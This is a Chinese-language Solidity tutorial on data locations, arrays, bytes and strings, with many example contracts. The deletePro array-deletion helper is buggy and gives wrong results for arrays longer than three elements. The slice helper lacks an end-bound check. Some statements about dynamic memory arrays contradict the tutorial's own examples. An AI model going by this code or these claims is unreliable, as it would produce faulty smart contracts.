其他的向 storage 的赋值,总是进行拷贝。 这种情况的示例,如对状态变量或 storage 的结构体类型的局部变量成员的赋值,即使局部变量本身是一个引用,也会进行一份拷贝。
深刻理解引用类型赋值和修改
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Locations {
string public stateB1 = "ABCD";
struct MyStruct {
string name;
uint256 age;
}
mapping(address => MyStruct) public stateC1;
constructor() {
stateC1[msg.sender] = MyStruct({name: "Anbang", age: 1});
}
function testB1() public returns (string memory, string memory) {
string memory memoryB2 = "1234"; // memory
stateB1 = memoryB2;
// storage 修改:会改变状态变量
string storage stateB3 = stateB1;
bytes(stateB3)[0] = bytes1("9");
return (stateB1, stateB3);
// returns (9234,9234)
// 储存空间中 stateB1 = 9234
}
function testB2() public returns (string memory, string memory) {
string memory memoryB2 = "1234"; // memory
stateB1 = memoryB2;
// memory 修改:不会改变状态变量
string memory memoryB3 = stateB1;
bytes(memoryB3)[0] = bytes1("9");
return (stateB1, memoryB3);
// returns (1234,9234)
// 储存空间中 stateB1 = 1234
}
function testC1() external returns (MyStruct memory, MyStruct memory) {
MyStruct memory memoryC2 = MyStruct({name: "Anbang1", age: 18});
stateC1[msg.sender] = memoryC2;
// storage 修改:会改变状态变量
MyStruct storage stateC3 = stateC1[msg.sender];
stateC3.age++;
return (stateC1[msg.sender], stateC3);
// returns ({name: "Anbang1", age: 19},{name: "Anbang1", age: 19})
// 储存空间中 stateC1 = {name: "Anbang1", age: 19}
}
function testC2() external returns (MyStruct memory, MyStruct memory) {
MyStruct memory memoryC2 = MyStruct({name: "Anbang2", age: 18});
stateC1[msg.sender] = memoryC2;
// memory 修改:不会改变状态变量
MyStruct memory memoryC3 = stateC1[msg.sender];
memoryC3.age++;
return (stateC1[msg.sender], memoryC3);
// returns ({name: "Anbang2", age: 18},{name: "Anbang2", age: 19})
// 储存空间中 stateC1 = {name: "Anbang2", age: 18}
}
}
问答题:
testB1 运行后,返回什么?
(9234,9234)
testB2 运行后,返回什么?
(1234,9234)
testC1 运行后,返回什么?
({name: "Anbang1", age: 19},{name: "Anbang1", age: 19})
testC2 运行后,返回什么?
({name: "Anbang2", age: 18},{name: "Anbang2", age: 19})
calldata 和 memeory 区别
函数调用函数时的区别:
calldata可以隐式转换为memory
calldata 参数可以隐式转换为 memory
memory 参数不可以隐式转换为 calldata
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract DataLocations {
function memoryFn(uint256[] memory _mm)
private
pure
returns (uint256[] memory memArr)
{
memArr = new uint256[](_mm.length);
for (uint256 index = 0; index < _mm.length; index++) {
memArr[index] = _mm[index];
}
}
function calldataFn(uint256[] calldata _mm)
private
pure
returns (uint256[] memory memArr)
{
memArr = new uint256[](_mm.length);
for (uint256 index = 0; index < _mm.length; index++) {
memArr[index] = _mm[index];
}
}
function examples1(uint256[] memory _mm)
external
pure
returns (uint256[] memory memArr)
{
// memoryFn 参数是 memory,可以调用
// calldataFn 参数是 calldata ,不可以调用, memory 不可以隐式转换为 calldata
// memory 参数,调用需要 memory 参数的函数: 成功
memArr = memoryFn(_mm);
// memory 不能隐式转换为 calldata
// memArr = calldataFn(_mm); // memory 参数,调用需要 calldata 参数的函数: 禁止
}
function examples2(uint256[] calldata _mm)
external
pure
returns (uint256[] memory memArr)
{
// calldata 参数,调用需要 calldata 参数的函数: 成功
memArr = calldataFn(_mm);
// memoryFn 参数是 memory,可以调用,calldata可以隐式转换为 memory
// calldataFn 参数是 calldata ,直接使用calldata更省gas
// calldata(小:约束多) 可以隐式的转换 memory(大)
// calldata 参数,调用需要 memory 参数的函数: 成功
// memArr = memoryFn(_mm);
}
}
calldata 和 memeory 对比
contract Test {
function memoryFn(uint256[] memory _num)
public
pure
returns (uint256[] memory)
{
_num[0] = 999; // 修改参数
return (_num);
}
function calldataFn(uint256[] calldata _num)
public
pure
returns (uint256[] calldata)
{
// _num[0] = 999; // 禁止修改 calldata 数据
return (_num);
}
}
引用类型
Solidity 中,有一些数据类型由值类型组合而成,相比于简单的值类型,这些类型通常通过名称引用,被称为引用类型。
array
基本类型组成的数组集合。
uint256[5] public T1 = [1, 2, 3, 4, 5]; address[5] public A = [0xff...6ac]; byte[5] public A = [0xff...6ac];
字符串与 bytes 是特殊的数组,所以也是引用类型
string: 是一个动态尺寸的 utf-8 编码字符串
他其实是一个特殊的可变字节数组,同时其也是一个引用类型
bytes: 动态十六进制字节数组
bytes 类似于
byte[]
,但它在 calldata 中被紧密地打包。因此,相比于byte[]
,bytes 应该优先使用,因为更便宜。string 等价于 bytes,但不允许长度或索引访问。
mapping
struct:为了允许 evm 的优化,请确保 storage 中的变量和
struct
成员的书写顺序允许它们被紧密地打包。例如,应该按照uint128,uint128,uint256
的顺序来声明状态变量,而不是使用uint128,uint256,uint128
,因为前者只占用两个存储插槽,而后者将占用三个。
array 数组
数组是存储同类元素的有序集合。数组声明时可以是固定大小的,也可以是动态调整长度。
下面是 array 的总结:
声明和初始化数组
数组元素可以是任何类型,包括映射或结构体。对类型的限制是映射只能存储在 存储 storage 中,并且公开访问函数的参数需要是 ABI 类型。
访问和修改数组元素
arr[_index]
:通过索引进行获取特定元素
可以通过索引修改值
状态变量标记
public
的数组,Solidity 创建一个getter函数
。 下标的索引数字就是getter函数
的参数。访问超出数组长度的元素会导致异常(assert 类型异常 )。 可以使用 .push() 方法在末尾追加一个新元素,其中 .push() 追加一个零初始化的元素并返回对它的引用。
函数中返回数组
如果想把数组全部返回,需要通过函数进行操作。在函数中返回数组
动态数组和定长数组
动态数组只能存在于状态变量中
内存中只能创建定长数组
创建内存数组
对于 storage 数组,元素可以是任意类型(其他数组、映射或结构)。
对于 memory 数组,元素类型不能是映射类型,如果它是一个 public 函数的参数,那么元素类型必须是 ABI 类型。
数组的属性
length
: 获取数组的长度
数组的方法
push : 只有动态数组可以使用,只能用在动态数组上
pop: 删除最后一个长度,只能用在动态数组上
delete: 清空对应的索引;清空不是删除,并不会改变长度,索引位置的值会改为默认值。
数组切片:
x[start:end]
写一个完全删除的 delete 方法
数组的创建
数组长度上分为 固定长度数组 和 可变长度数组,类型上分为一维数组和多维数组;
一个元素类型为 T
,固定长度为 k
的数组可以声明为 T[k]
,而动态数组声明为 T[]
。
固定长度数组:创建
可变长度数组:创建
二维数组:创建
其它
uint256[2][] public T = new uint256[2][](10);
固定长度数组:创建
固定长度数组:创建
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
// 固定长度数组
uint256[5] public T = [1, 2, 3, 4, 5];
address[5] public A = [0xffD0d80c48F6C3C5387b7cfA7AA03970bdB926ac];
uint256[10] public arr1 = [0, 1, 2]; // 赋值的数组长度不超过10都可以
uint256[10] public arr2 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
// 如果初始化超出了数组的预期长度,报错:
// Type uint8[11] memory is not implicitly convertible to expected
// type uint256[10] storage ref.
// uint256[10] public arr3 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
}
语法:
type[arraySize] arrayName;
,这是一维数组,其中 arraySize 必须是一个大于零的整数数字,type 可以是任何数据类型。固定长度数组创建后不可对长度进行修改,但是可以对内容进行修改
(不可对长度进行修改是与不可变字节数组之间不同点)
数组先声明再赋值
通过索引进行赋值。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256[10] public arr1;
function test() external {
arr1[0] = 1;
arr1[1] = 10;
arr1[2] = 100;
arr1[9] = 900;
}
}
可变长度数组:创建
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
// 可变长度数组
uint256[] public T1 = [1, 2, 3, 4, 5]; // 方式 1
uint256[] public T2 = new uint256[](5); // 方式 2
}
方式 1:
uint256[] T1 = [1, 2, 3, 4, 5];
该方式不可以在函数内创建
方式 2:
uint256[] T2 = new uint256[](5);
用方式 2 创建数组时,若数组为成员变量, 则默认为 storage 类型;
若为局部变量默认为
memory
类型,memory
类型的数组,必须声明长度,并且长度创建后不可变。push
方法不能用在memeory
的数组上,只能逐个索引的赋值。
内存中创建数组
不能直接创建:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256[] public x = [uint256(1), 3, 4];
// 下面这段代码并不能编译。
function f() public {
uint256[] memory x = [uint256(1), 3, 4];
}
}
可以使用 new
关键字在内存中创建动态数组。创建格式: uint256[] memory x = new uint256[](3);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
function f() public pure {
uint256[] memory x = new uint256[](3);
}
}
内存中创建的数组是局部变量。
内存中不能创建动态数组,必须创建定长数组。
思考: 插入排序的例子中,优化后的代码是动态数组,还是定长数组?(插入排序在后面算法那一章)
memory 类型的数组长度创建后不可变,不能通过修改成员变量 .push
改变 memory 数组的大小。必须提前计算数组大小,或者创建一个新的内存数组并复制每个元素。
例子 0 : 显示给各个元素赋值:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract C {
function f() public pure {
uint256[] memory x = new uint256[](3);
x[0] = 1;
x[1] = 3;
x[2] = 4;
}
}
例子 1: 新分配的数组元素总是以 默认值 初始化。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract FunctionOutputs {
function examples1() external pure returns (uint256[] memory) {
uint256[] memory a = new uint256[](5);
a[1] = 1;
a[2] = 2;
a[3] = 3;
a[4] = 4;
return a;
}
// 在 Solidity 中的所有变量,新分配的数组元素总是以 默认值 初始化。
function examples2(uint256 _len)
external
pure
returns (uint256[] memory b)
{
require(_len > 1, "length > 1");
b = new uint256[](_len);
b[0] = 666;
}
function examples3(uint256 _len) external pure returns (bytes memory b) {
require(_len > 1, "length > 1");
b = new bytes(_len);
b[0] = bytes1("A");
}
}
动态数组和定长数组的 gas 区别
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract FunctionOutputs {
// 26086 gas
uint256[] public nums = [1, 2, 3];
// 23913 gas
uint256[3] public numsFixed = [1, 2, 3];
}
在 Remix 中部署后,如果获取 nums,需要传入索引获取 nums 的对应 inedx 值。其中动态数组 nums 查看需要 26086 gas,定长数组 numsFixed 查看仅需 23913 gas。如果能使用定长数组,就使用定长数组,因为它很便宜。
二维数组:创建:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
// length:3
uint256[2][3] public T = [[1, 2], [3, 4], [5, 6]];
function getLength() external view returns (uint256) {
return T.length;
}
}
举个例子,一个长度为
5
,元素类型为 uint 的动态数组的数组(二维数组),应声明为uint[][5]
(注意这里跟其它语言比,数组长度的声明位置是反的)。在 Solidity 中,X[3]
总是一个包含三个 X 类型元素的数组,即使 X 本身就是一个数组.uint256[2][3] public T = [[1, 2], [3, 4], [5, 6]];
T.length
为 3
访问和修改数组元素
通过索引访问数组元素
通过索引修改数组元素
注意: arr[index]
中的 index 需要小于 arr.length
;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256[10] public arr1 = [0, 1, 2]; // 赋值的数组长度不超过10都可以
uint256[10] public arr2 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
function test() external view returns (uint256, uint256) {
return (arr1[2], arr2[5]);
}
function modi() external {
arr1[2] = 666;
arr2[5] = 666;
}
}
这种可以查看到元素的指定元素,但有时候我们可能想要查看元素的所有内容。这时候就需要函数处理一下。
函数中返回整个数组
通过函数把数组的所有内容全部返回。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract FunctionOutputs {
uint256[] public nums1 = [1, 2, 3];
uint256[3] public nums2 = [1, 2, 3];
function test1() external view returns (uint256[] memory) {
return nums1;
}
function test2() external view returns (uint256[3] memory) {
return nums2;
}
}
数组常量
正常看到下方代码应该没什么问题,但是注意:函数 s 中数组类型是uint256
,而函数 t 中输入的数组类型是uint8
, 这里需要将 uint8 转换一下s([uint256(1), uint256(2)]);
;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract T {
function s(uint256[2] memory _arr) public {}
function t() public {
// Invalid type for argument in function call.
// Invalid implicit conversion from uint8[2] memory to uint256[2] memory requested.
// s([1, 2]); // 默认这么写不行的 ❌
s([uint256(1), uint256(2)]); // ✅
}
}
数组常量(字面量)是在方括号中( [...]
) 包含一个或多个逗号分隔的表达式。例如 [1, a, f(3)]
。
数组常量的类型通过以下的方式确定:
它总是一个静态大小的内存数组,其长度为表达式的数量。
数组的基本类型是列表上的第一个表达式的类型,以便所有其他表达式可以隐式地转换为它。如果不可以转换,将出现类型错误。
所有元素都都可以转换为基本类型也是不够的。其中一个元素必须是明确类型的。
在下面的例子中,[1, 2, 3]
的类型是 uint8[3] memory
。 因为每个常量的类型都是 uint8
,如果你希望结果是 uint256[3] memory
类型,你需要将第一个元素转换为 uint256
。虽然所有元素都都可以转换为uint256
,但是默认是转换为uint8
,能转成小的类型,就不会转成大的,这是数组常量的懒惰性。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract LBC {
function f() public pure returns (uint256[3] memory) {
return g([uint256(1), 2, 3]);
}
function g(uint256[3] memory _arr)
internal
pure
returns (uint256[3] memory)
{
return _arr;
}
}
如下是一个比较经典的例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract T {
int8[2] public a = [1, -1];
// int8[2] public a = [int8(1), -1];
}
数组常量 [1, -1]
是无效的,因为第一个表达式类型是 uint8
而第二个类似是 int8
他们不可以隐式的相互转换。 为了确保可以运行,你是可以使用例如: [int8(1), -1]
。
由于不同类型的固定大小的内存数组不能相互转换(尽管基础类型可以),如果你想使用二维数组常量,你必须显式地指定一个基础类型:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
function f() public pure returns (uint24[2][4] memory) {
// 下面代码无法工作,因为没有匹配内部类型
// uint[2][4] memory x = [[0x1, 1], [0xffffff, 2], [0xff, 3], [0xffff, 4]];
uint24[2][4] memory x = [
[uint24(0x1), 1],
[0xffffff, 2],
[uint24(0xff), 3],
[uint24(0xffff), 4]
];
return x;
}
}
数组的属性
length
数组有 length
属性表示当前数组的长度。 一经创建,内存 memory 数组的大小就是固定的(但却是动态的,也就是说,它可以根据运行时的参数创建)。
例子 1: 通过 arr.length
获取数组的长度
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256[10] public arr1 = [0, 1, 2];
uint256[10] public arr2 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
function test1() external view returns (uint256) {
return arr1.length;
}
function test2() external view returns (uint256) {
return arr2.length;
}
}
例子 2: 可以通过 length 属性来判断长度。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract TX {
function f(uint len) public pure {
uint[] memory a = new uint[](7);
bytes memory b = new bytes(len);
assert(a.length == 7);
assert(b.length == len);
}
}
例子 3:不能通过设置 arr.length
来调整动态数组的长度。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256[10] public arr1 = [0, 1, 2];
// Member "length" is read-only and cannot be used to resize arrays.
function test1() external {
arr1.length = 8;
}
}
数组的方法
push : 只有动态数组可以使用,动态的 storage 数组以及
bytes
类型可以用,string
类型不可以push()
: 它用来添加新的零初始化元素到数组末尾,并返回元素引用.因此可以这样:x.push().t = 2
或x.push() = b
.push(x)
: 用来在数组末尾添加一个给定的元素,这个函数没有返回值.
pop
: 删除最后一个长度它用来从数组末尾删除元素。 同样的会在移除的元素上隐含调用 delete 。
delete
: 删除对应的索引;删除并不会改变长度,索引位置的值会改为默认值。x[start:end]
: 数组切片,仅可使用于calldata
数组.
push
通过 push()
增加 storage 数组的长度具有固定的 gas 消耗,因为 storage 总是被零初始化;
例子: 状态变量的定长数组可以通过 push 来改变长度。但是内存中不可以使用 push。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256[] public a1 = new uint256[](5);
function setStorageA() external {
a1.push(8);
}
function setMemoryA() external pure {
uint256[] memory a2 = new uint256[](5);
// Type uint8[5] memory is not implicitly convertible to expected
// type uint256[] memory. uint256[] memory a3 = [1, 2, 3, 4, 5];
// Member "push" is not available in uint256[] memory outside of storage.
// a2.push(8);
}
}
pop & delete
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract FunctionOutputs {
uint256[] private nums = [1, 2, 3];
uint256[3] private numsFixed = [1, 2, 3];
function setArray()
external
returns (
uint256 len1,
uint256 len2,
uint256 len3
)
{
nums.push(4); // push
len1 = nums.length;
nums.pop(); // 删除
len2 = nums.length;
nums[2] = 666;
delete nums[1];
// delete nums;
len3 = nums.length;
}
function getArray() external view returns (uint256[] memory) {
return nums;
}
}
pop
删除最后一个元素delete array[x]
仅仅是清除元素对应索引为默认值delete array
array 的 length 重置为 0
通过 pop()
删除数组成本是很高的,因为它包括已删除的元素的清理,类似于在这些元素上调用 delete
。
注意:如果需要在外部(external)函数中使用多维数组,这需要启用 ABI coder v2。 public 函数中是支持的使用多维数组。因为多维数组用的场景不多,这里就不介绍了。
数组切片: x[start:end]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
uint256[] internal nums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0];
uint256[] temp1;
uint256[] temp2;
uint256[] temp3;
// 输入 [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
function setTemp(uint256[] calldata _arr)
external
returns (
uint256[] memory,
uint256[] memory,
uint256[] memory
)
{
temp1 = _arr[0:2];
temp2 = _arr[:2];
temp3 = _arr[2:];
// Index range access is only supported for dynamic calldata arrays.
// temp3 = nums[2:];
return (temp1, temp2, temp3);
}
}
数组切片是数组连续部分的视图,用法如:x[start:end]
, start
和 end
是 uint256
类型(或结果为 uint256
的表达式)。 x[start:end]
的第一个元素是 x[start]
, 最后一个元素是 x[end - 1]
。(包含 start,不包含 end)
目前数组切片,仅可使用于
calldata
数组.如果
start
比end
大或者end
比数组长度还大,将会抛出异常。start
和end
都可以是可选的:start
默认是 0, 而end
默认是数组长度。
数组切片没有任何成员。 它们可以隐式转换为其“背后”类型的数组,并支持索引访问。 索引访问也是相对于切片的开始位置。 数组切片没有类型名称,这意味着没有变量可以将数组切片作为类型,它们仅存在于中间表达式中。
模拟切片的 slice 方法
切片当前仅支持 calldata 的数据,如果是 memory 就不支持了。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract FunctionOutputs {
function slice(
uint256[] memory arr,
uint256 begin,
uint256 end
) internal pure returns (uint256[] memory) {
require(begin < arr.length, "index out of bound");
//如果起始位置越界,返回空数组
if (begin >= arr.length) return arr;
//处理 begin 和 end小于0的情况,使用 uint256 ,不存在负数
// if (begin < 0) {
// begin = begin + arr.length < 0 ? 0 : begin + arr.length;
// }
// if (end < 0) {
// end = end + arr.length < 0 ? 0 : end + arr.length;
// }
//声明一个空数组,作为复制后返回值
uint256[] memory temp = new uint256[](end - begin);
//复制begin至end的元素到 temp 中 包括arr[begin] 不包括arr[end]
for (uint256 index = begin; index < end; index++) {
temp[index - begin] = arr[index];
}
return temp;
}
function test()
external
pure
returns (
uint256[] memory arr,
uint256[] memory temp1,
uint256[] memory temp2,
uint256[] memory temp3
)
{
arr = new uint256[](5);
arr[0] = 1;
arr[1] = 2;
arr[2] = 3;
arr[3] = 4;
arr[4] = 5;
temp1 = slice(arr, 1, 3); // [2,3]
temp2 = slice(arr, 1, 4); // [2,3,4]
temp3 = slice(arr, 1, 5); // [2,3,4,5]
}
}
delete 完全删除数组的指定索引
删除数组的指定索引,数组的长度也会改变
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract FunctionOutputs {
function deletePro(uint256[] memory arr, uint256 _index)
internal
pure
returns (uint256[] memory temp)
{
require(_index < arr.length, "index out of bound");
temp = new uint256[](arr.length - 1);
for (uint256 index = 0; index <= temp.length - 1; index++) {
if (index >= _index) {
temp[_index] = arr[_index + 1];
} else {
temp[index] = arr[index];
}
}
}
function test()
external
pure
returns (uint256[] memory arr, uint256[] memory temp)
{
arr = new uint256[](3);
arr[0] = 1;
arr[1] = 2;
arr[2] = 3;
assert(arr[0] == 1);
assert(arr[1] == 2);
assert(arr[2] == 3);
assert(arr.length == 3);
temp = deletePro(arr, 1);
assert(temp[0] == 1);
assert(temp[1] == 3);
assert(temp.length == 2);
}
}
bytes
string
和 bytes
类型的变量是特殊的数组。 bytes
可以通过索引或者.length
来访问数据。string 与 bytes 相同,但不允许用.length
或索引来访问数据。
对任意长度的原始字节数据使用
bytes
,对任意长度字符串(UTF-8)数据使用string
。如果使用一个长度限制的字节数组,应该使用一个
bytes1
到bytes32
的具体类型,因为它们便宜得多。bytesN[]
和bytes
可以转换: bytes1 是值类型,比如0x61
;bytes
是可变字节数组,如果 bytes1 想要借用 bytes 的方法,就需要转换成 bytes;基本规则:对任意长度的原始字节数据使用
bytes
,对任意长度字符串(UTF-8)数据使用string
。
创建
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bytes public welcome = bytes("1.Welcome");
bytes public temp1 = new bytes(2); // 可变字节数组创建方式
function test1(uint256 len_) public pure returns(bytes memory){
bytes memory temp2 = new bytes(len_);
temp2[0] = "a";
return temp2;
}
function test2() public{
temp1[0] = "a";
}
}
状态变量的创建方式
bytes public welcome = bytes("1.Welcome");
函数中可变字节数组创建方式:
bytes memory temp2 = new bytes(length); // 可变字节数组创建方式
bytes 和 bytes32[]
区别
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// bytes / bytes32 / bytes32[] 区别
// bytes:可变字节数组 : 引用类型
// bytes32: 固定长度的字节数组 : 值类型
// bytes32[]: 由“固定长度的字节数组” 组成的 数组类型
contract Demo {
bytes public welcome1 = bytes("1.Welcome");
bytes32 public welcome2 = "a";
bytes32[] public welcome3 = [bytes32("a")];
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bytes32[] public abcArray = [bytes1("a"), bytes1("b"), bytes1("c")];
// 0x616263
bytes public abcBytes = bytes("abc");
function getAbcArr() external view returns (bytes32[] memory) {
return abcArray;
}
}
abcBytes
的值是: 0x616263
;
abcArray
的值是:
[
0x6100000000000000000000000000000000000000000000000000000000000000,
0x6200000000000000000000000000000000000000000000000000000000000000,
0x6300000000000000000000000000000000000000000000000000000000000000
]
bytes
有点类似于 bytes1[]
的紧打包,我们可以把上面例子中 bytes32 改为 bytes1 类型进行对比。
我们更多时候应该使用 bytes
而不是 bytes32[]
这种数组类型 ,因为 Gas 费用更低;
bytes32[]
会在元素之间添加 31 个填充字节。bytes
由于紧密包装,这没有填充字节。
属性
获取 bytes 长度
bytesVar.length:以字节长度表示字符串的长度
获取指定索引的数据
bytes1 temp1 = bytes(welcome)[_index]; // 返回固定长度的 bytes1
修改 bytes
bytesVar[7] = 'x'
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bytes public welcome = bytes("1.Welcome");
function getLength() public view returns (uint256 welcomeLength) {
welcomeLength = welcome.length;
}
function modi() public {
welcome[0] = bytes1("2");
}
}
方法
bytes 拼接
bytes.concat(...) returns (bytes memory):
如果不使用参数调用 bytes.concat 将返回空数组。
push 方法
a.push(b)
往字节数组添加字节
delete bys;
:清空字节数组x[start:end]
: 数组切片bytes()
: 将字符串转换到 bytesstring()
:将 bytes 数据转换到字符串比较两个 bytes
keccak256(bytes1) == keccak256(bytes2)
bytes.concat 拼接
bytes.concat(...) returns (bytes memory)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bytes public welcome = bytes("a");
bytes public concatBytes = bytes.concat(welcome, bytes("b"), bytes1("c"),"a");
}
bytes.concat 函数可以连接任意数量的 bytes
或 bytes1
… bytes32
值。 该函数返回一个 bytes memory
,包含所有参数的内容,无填充方式拼接在一起。 如果你想使用字符串参数或其他不能隐式转换为 bytes
的类型,你需要先将它们转换为 bytes
或 bytes1/…/ bytes32
。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bytes public welcome = bytes("a");
bytes public concatBytes = bytes.concat();
}
如果你不使用参数调用 bytes.concat
将返回空数组。
push 方法
注意: push 是单个字节,是 bytes1
的固定长度,而不是 bytes
。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bytes public welcome1 = bytes("Welcome");
bytes public welcome2 = new bytes(10);
function testPush() public {
welcome1.push(bytes("A")[0]);
welcome2.push(bytes("B")[0]);
}
}
pop 方法
删除数组的最后一个元素。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bytes public welcome1 = bytes("Welcome");
bytes public welcome2 = new bytes(10);
function testPop() public {
welcome1.pop();
welcome2.pop();
}
}
delete
清空字节数组
使用 delete
全局关键字;
delete bytesName
delete bytesName[index]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bytes public welcome1 = bytes("Welcome");
function deleteAll() public {
delete welcome1;
}
function deleteIndex(uint256 index_) public {
delete welcome1[index_];
}
}
x[start:end]
:数组切片
注意:数组切片只能用在 calldata 类型上。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Proxy {
bytes public welcome1 = bytes("Welcome");
bytes4 public temp1 = bytes4(welcome1); // 0x57656c63
// 把 welcome1 的值传入参数
function forward(bytes calldata payload)
external pure
returns(bytes memory temp2,bytes4 temp3)
{
// 切片方法只能用在 calldata 上。
temp2 = payload[:4];
temp3 = bytes4(payload[:4]);
}
}
另一个例子: bts_[:4]
和 bytes4(bts_)
结果不一样!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// x[start:end]
// 1.只能用在 caldata 类型的数据上
// 2.切出来的是数组:`bts_[:4]` 和 `bytes4(bts_)` 结果不一样!
// 两者虽然看起来值意义,但是类型不一样!处理的时候也需要注意
contract Demo {
// 0x57656c636f6d65
bytes public welcome1 = bytes("Welcome");
bytes4 public welcome2 = bytes4(welcome1);
// bytes: temp1 0x57656c63
// bytes4: temp2 0x57656c63
function test(bytes calldata bts_) public pure returns(
bytes memory temp1,
bytes4 temp2,
bytes4 temp3
){
temp1 = bts_[:4]; // 切的返回值是数组
temp2 = bytes4(bts_[:4]); //
temp3 = bytes4(bts_); // 切: 由大到小 => 切出来的是值类型
}
}
例子: 数组切片在 ABI 解码数据的时候非常有用,如:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Proxy {
/// 被当前合约管理的 客户端合约地址
address client;
constructor(address client_) {
client = client_;
}
/// 在进行参数验证之后,转发到由client实现的 "setOwner(address)"
function forward(bytes calldata payload) external {
bytes4 sig = bytes4(payload[:4]);
// 由于截断行为,与执行 bytes4(payload) 是相同的
// bytes4 sig = bytes4(payload);
if (sig == bytes4(keccak256("setOwner(address)"))) {
address owner = abi.decode(payload[4:], (address));
require(owner != address(0), "Address of owner cannot be zero.");
}
(bool status, ) = client.delegatecall(payload);
require(status, "Forwarded call failed.");
}
}
字符串 到 bytes 的转换
转换方法: 可以使用 bytes()
构造函数将字符串转换为 bytes
。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function trans(string memory _str) external pure returns (bytes memory) {
return bytes(_str);
}
}
bytes 到 字符串 的转换
转换方法: 可以使用 string()
构造函数将 bytes
转换为字符串。
注意: 字节数组分为动态大小和固定大小的。如果是固定大小字节数组,需要先转为动态大小字节数组。
动态大小字节数组
—>string
固定大小字节数组
—>动态大小字节数组
—>string
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
string public data1;
string public data2;
// `动态大小字节数组` —> `string`
function trans1() external {
bytes memory bstr = new bytes(2);
bstr[0] = "a";
bstr[1] = "b";
data1 = string(bstr);
}
// `固定大小字节数组` —> `动态大小字节数组` —> `string`
function trans2() external {
// 固定大小字节数组
bytes2 ab = 0x6162;
// `固定大小字节数组` —> `动态大小字节数组`
bytes memory temp = new bytes(ab.length); // 可变字节数组创建方式
for (uint256 i = 0; i < ab.length; i++) {
temp[i] = ab[i];
}
// `动态大小字节数组` —> `string`
data2 = string(temp);
}
}
比较 2 个 bytes 值是否相等
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
bytes welcome1 = bytes("Welcome");
bytes welcome2 = bytes("Welcome");
function test1() public view returns (bool) {
return keccak256(welcome2) == keccak256(welcome1);
}
}
string
Solidity 中,字符串值使用双引号(""
)或单引号(''
)包括,字符串类型用 string 表示。string
和 bytes
类型的变量是特殊的数组,是引用类型。
格式
"abc"
'hello'
例子
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract For {
string public a = "a" "b" "c";
string public b = "abc";
string public c = 'x' 'y' 'z';
string public d = 'xyz';
}
属性
string 并没有获取其字符串长度的 length 属性; 也没提供获取某个索引字节码的索引属性。
我们可以通过把 string 转换成 bytes
,借助bytes
的属性。
例子: 下面是使用 getLength()
获取长度,使用modi()
修改字符串,使用 getIndexValue()
获取字符串的指定索引的数据。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Demo {
string public welcome = "1.Welcome";
function getLength() public view returns (uint256 welcomeLength) {
welcomeLength = bytes(welcome).length;
}
function getIndexValue(uint256 _index) public view returns (string memory) {
bytes1 temp1 = bytes(welcome)[_index]; // 返回固定长度的 bytes1
bytes memory temp2 = new bytes(1); // 可变字节数组创建方式
temp2[0] = temp1;
return string(temp2);
}
function modi() public {
bytes(welcome)[0] = bytes1("2");
}
}
获取字符串的长度
bytes(str).length
:以字节长度表示字符串的长度
某个字符串索引的字节码
bytes1 temp1 = bytes(str)[_index];
function getIndexValue(uint256 _index) public view return(string memory) { bytes1 temp1 = bytes(welcome)[_index]; // 返回固定长度的 bytes1 bytes memory temp2 = new bytes(1); // 可变字节数组创建方式 temp2[0] = temp1; return string(temp2); }
修改字符串
bytes(s)[7] = 'x'
方法
